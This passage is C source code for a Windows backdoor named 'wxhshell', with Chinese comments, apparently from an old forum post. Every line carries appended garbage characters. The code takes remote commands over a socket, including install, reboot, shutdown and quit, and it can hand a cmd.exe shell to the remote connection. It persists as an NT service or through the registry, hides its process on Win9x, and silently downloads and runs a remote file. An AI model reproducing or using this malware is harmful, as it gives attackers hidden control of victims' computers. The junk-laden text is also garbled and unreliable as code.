  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2R`u[  
  } 9} *$n&B  
  else { wj%wp[KA$  
`P.CNYR<J  
    switch(cmd[0]) { 8p =>?wG  
  295w.X(J  
  // 帮助 gpAHC   
  case '?': { E5{n?e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kp`0erJqw  
    break; x/I;nM Y  
  } q^Inb)FeN  
  // 安装 ou6j*eSN  
  case 'i': { !6E:5=L^  
    if(Install()) kF-TG3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}EM4\r  
    else HV\"T(8 9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F= i!d,S  
    break; kCp)!hVQ  
    } *V|zx#RN  
  // 卸载 p&5S|![\  
  case 'r': { !K\itOEP-  
    if(Uninstall()) AbZ:(+@cP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0N VI +Z$  
    else qGa<@ b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J3&Sj{ o  
    break; |nm2Uy/0  
    } O+FBQiv  
  // 显示 wxhshell 所在路径 ]) n0MF)p  
  case 'p': { la702)N{  
    char svExeFile[MAX_PATH]; 'w6hW7"L  
    strcpy(svExeFile,"\n\r"); u]*5Ex(?  
      strcat(svExeFile,ExeFile); ;eh/_hPM  
        send(wsh,svExeFile,strlen(svExeFile),0); CB({Rn  
    break; ohplj`X[21  
    } W.$6 pzB(  
  // 重启 Ff)@L-Y\K  
  case 'b': { p`p?li  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9K$]h2  
    if(Boot(REBOOT)) yoW> BX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t\}c6/3"  
    else { pK"&QPv  
    closesocket(wsh); LE| <O  
    ExitThread(0); >)y$mc6  
    } 6$(0Ty  
    break; * gHCy4u{  
    } Yj3*)k  
  // 关机 zn^v!:[  
  case 'd': { `WlH*p)z9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sDAK\#z  
    if(Boot(SHUTDOWN)) w&C1=v -h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hiIya WU  
    else { ifHU|0_=  
    closesocket(wsh); J% AG`  
    ExitThread(0); `:gYXeR  
    } OA5f}+  
    break; '$*[SauAG  
    } L ]*`4 L  
  // 获取shell "5(W[$f*]v  
  case 's': { \*J.\f  
    CmdShell(wsh); `x*/UCy\  
    closesocket(wsh); % GVN4y&  
    ExitThread(0); Pv[ykrm/  
    break; !"%S#nrL$  
  } j"0rkN3$J  
  // 退出 1~L\s}|2d  
  case 'x': { S2bexbp0o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FSe5k5  
    CloseIt(wsh); My],6va^  
    break; fOLnK y#  
    } yeNvQG  
  // 离开 [brkx3h  
  case 'q': { 18rp; l{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S!<"Swf:  
    closesocket(wsh); iAgOnk[  
    WSACleanup(); ;xI0\a7  
    exit(1); ' rvE  
    break; St_S l:m$  
        } 2=O ))^8  
  } <a fO 6?`  
  } oo\IS\  
~\3l!zIq  
  // 提示信息 h*l cEzG?A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oLd:3,p}  
} "5 y<G:$+~  
  } vU7&'ca  
4NJVW+:2  
  return; sc9]sIb  
} i:{:xKiCa  
4':MI|/my_  
// shell模块句柄 l -XnB   
int CmdShell(SOCKET sock) g(1"GKg3K  
{ y1nP F&_  
STARTUPINFO si; yZ?$8r  
ZeroMemory(&si,sizeof(si)); 2G H)iUmc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "7:u0p!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x~%\y  
PROCESS_INFORMATION ProcessInfo; n00z8B1j(l  
char cmdline[]="cmd"; 50COL66:7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RZ<.\N (M  
  return 0; raSF3b/0  
} 75<el.'H  
 ]LMiMj  
// 自身启动模式 \6U 2-m'  
int StartFromService(void) @kS|Jz$iY  
{ 4^0\dq  
typedef struct 5VuC U  
{ )eVzSj>MT  
  DWORD ExitStatus; .x]'eq}  
  DWORD PebBaseAddress; `d.Gw+Un  
  DWORD AffinityMask; e<kpcF5{\  
  DWORD BasePriority; nMLU-C!t  
  ULONG UniqueProcessId; hjw4Xzju  
  ULONG InheritedFromUniqueProcessId; i[mC3ghM6,  
}   PROCESS_BASIC_INFORMATION; /@6E3lh S  
fi 5YMYd1  
PROCNTQSIP NtQueryInformationProcess; ZBPd(;"x+  
H^ESA s6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }#1U D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0kkRK*fp}x  
4 fZY8  
  HANDLE             hProcess; "0!~g/X`rK  
  PROCESS_BASIC_INFORMATION pbi; L00Sp#$\  
 F|DR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B>ms`|q=l  
  if(NULL == hInst ) return 0; ]r"31.w(  
~W2:NQ>i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #( $k 3OA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [8 {_i?wY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #8P#^v]H  
y>DfM5>  
  if (!NtQueryInformationProcess) return 0; 0*/mc96  
4x=V|"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EI[e+@J  
  if(!hProcess) return 0; MtMvpHk  
+s#S{b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; em f0sL  
 EGp~Vo-  
  CloseHandle(hProcess); ho?|j"/7  
0sq=5 BnO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g(ZeFOn  
if(hProcess==NULL) return 0; x.jYip  
6n2Vx1b  
HMODULE hMod; i{Y=!r5r  
char procName[255]; x@{G(W:W  
unsigned long cbNeeded; .=.yZ  
o=mq$Z:}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C:|q'"F  
@m !9"QhC  
  CloseHandle(hProcess); 7I2a*4}  
2?#y |/  
if(strstr(procName,"services")) return 1; // 以服务启动 |r)>bY7  
g]EQ2g_N1  
  return 0; // 注册表启动 o$[a4I  
} ECmHy@(  
1C5kS[!  
// 主模块 SK2J`*  
int StartWxhshell(LPSTR lpCmdLine) G#9o?  
{ H{Y5YTg]  
  SOCKET wsl; e')&ODQ H  
BOOL val=TRUE; s +y'<88  
  int port=0; S*2L4Uj`|  
  struct sockaddr_in door; hJ$C%1;  
{WM&  
  if(wscfg.ws_autoins) Install(); o2 T/IJP  
|p=.Gg=2  
port=atoi(lpCmdLine); Cn6n4, 0  
5'{qEZs^QU  
if(port<=0) port=wscfg.ws_port; M2zos(8g  
ZF/J/;uI  
  WSADATA data; Z;"4$@|qE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xn ZX *Y]"  
c4qp3B_w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    }]n>A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x[.z"$T@  
  door.sin_family = AF_INET; ziB]S@U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vP87{J*DE1  
  door.sin_port = htons(port); 1"4nmw}  
<g/(wSl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O0=,&=i  
closesocket(wsl); d <|lLNS  
return 1; sBuq  
} ^NnU gj  
r:8]\RU  
  if(listen(wsl,2) == INVALID_SOCKET) { mKf>6/s{c  
closesocket(wsl); &)"7am(S`  
return 1; ;f ;*Q>!  
} bH WvKv+  
  Wxhshell(wsl); K#6`LL m  
  WSACleanup(); {Y@-*pL]  
UVoLHd  
return 0; oZ*=7u  
1$3XKw'  
} 0imqj7L  
S'%cf7Z  
// 以NT服务方式启动 e2Kpx8kWj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Zb"T5E  
{ xJH9qc ME  
DWORD   status = 0; ttAVB{kdo  
  DWORD   specificError = 0xfffffff; C$..w80/1  
,T21z}r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~a8G 5M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +{Vwz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .5[LQR  
  serviceStatus.dwWin32ExitCode     = 0; Oz9Mqcx  
  serviceStatus.dwServiceSpecificExitCode = 0; X-ki%jp3  
  serviceStatus.dwCheckPoint       = 0; sKG~<8M}  
  serviceStatus.dwWaitHint       = 0; :86luLFm  
g%q?2Nv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,C@hTOT  
  if (hServiceStatusHandle==0) return; W1vAK  
4k&O-70y4^  
status = GetLastError(); 9snyX7/!L  
  if (status!=NO_ERROR) E_gDwWot  
{ 7^t(RNq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '*LN)E> d  
    serviceStatus.dwCheckPoint       = 0; :Z]+Z_9p  
    serviceStatus.dwWaitHint       = 0; .L(j@I t  
    serviceStatus.dwWin32ExitCode     = status; ao" ;5 m  
    serviceStatus.dwServiceSpecificExitCode = specificError; a_iQlsU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8.3_Wb(c  
    return; Q"K>ML>0  
  } Xx<&6 4W  
3f2Hjk7,d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A*;^F]~'  
  serviceStatus.dwCheckPoint       = 0; !wb~A0m  
  serviceStatus.dwWaitHint       = 0; !9<RWNKV)Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7pI \`*7b  
} qL;T&h  
pD6g+Taj  
// 处理NT服务事件,比如:启动、停止 &b6@_C9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -GWzMBS S  
{ 3XlnI:w =  
switch(fdwControl) U+r#Y E.  
{ /Vd#q)b%T  
case SERVICE_CONTROL_STOP: jv=f@:[`I  
  serviceStatus.dwWin32ExitCode = 0; 3jeV4|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zUtf&Ih  
  serviceStatus.dwCheckPoint   = 0; qe"6#@b *|  
  serviceStatus.dwWaitHint     = 0; nzJi)A./  
  { Lz{T8yvZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [,$mpJCI  
  } S!!\!w>N  
  return; 7`<? f O  
case SERVICE_CONTROL_PAUSE: -xgmc-LGo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `b`52b\6S  
  break; ` "":   
case SERVICE_CONTROL_CONTINUE: d?y\~<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DSZhl-uGM  
  break; >37}JUG  
case SERVICE_CONTROL_INTERROGATE: C{,] 1X6g  
  break; 5 ^J8<s@_  
};  KP-z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zp-~'kIJ  
} ZjW| qb  
/~huTKA}  
// 标准应用程序主函数 .LcE^y[V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *"sDaN0@R  
{ *xTquV$  
f> [;|r@K  
// 获取操作系统版本 &:f'{>3z  
OsIsNt=GetOsVer(); $v@$oPmMj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c O>:n  
vS__*} ^  
  // 从命令行安装 7t Kft  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8B+^vF   
 VgoKi  
  // 下载执行文件 [y;ZbfMP|o  
if(wscfg.ws_downexe) { ?'m5)Z{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?ML<o>OKg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6;XpLivP7  
} -"9)c^KVx  
?Cfp=85ea!  
if(!OsIsNt) { .T w F] v  
// 如果时win9x,隐藏进程并且设置为注册表启动 > BCX%<&  
HideProc(); 5MU@g*gj,C  
StartWxhshell(lpCmdLine); rWKLxK4oU  
} T sW6w  
else VZ@@j[F(  
  if(StartFromService()) 1+c(G?Ava  
  // 以服务方式启动 ([o:_5/8I  
  StartServiceCtrlDispatcher(DispatchTable); xi=uXxl  
else pR>QIZq<gT  
  // 普通方式启动 D ,^ U%<`  
  StartWxhshell(lpCmdLine); vJ}  
G)|HFcE  
return 0; qqre d>K  
}
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只看该作者 1 发表于: 2006-10-10
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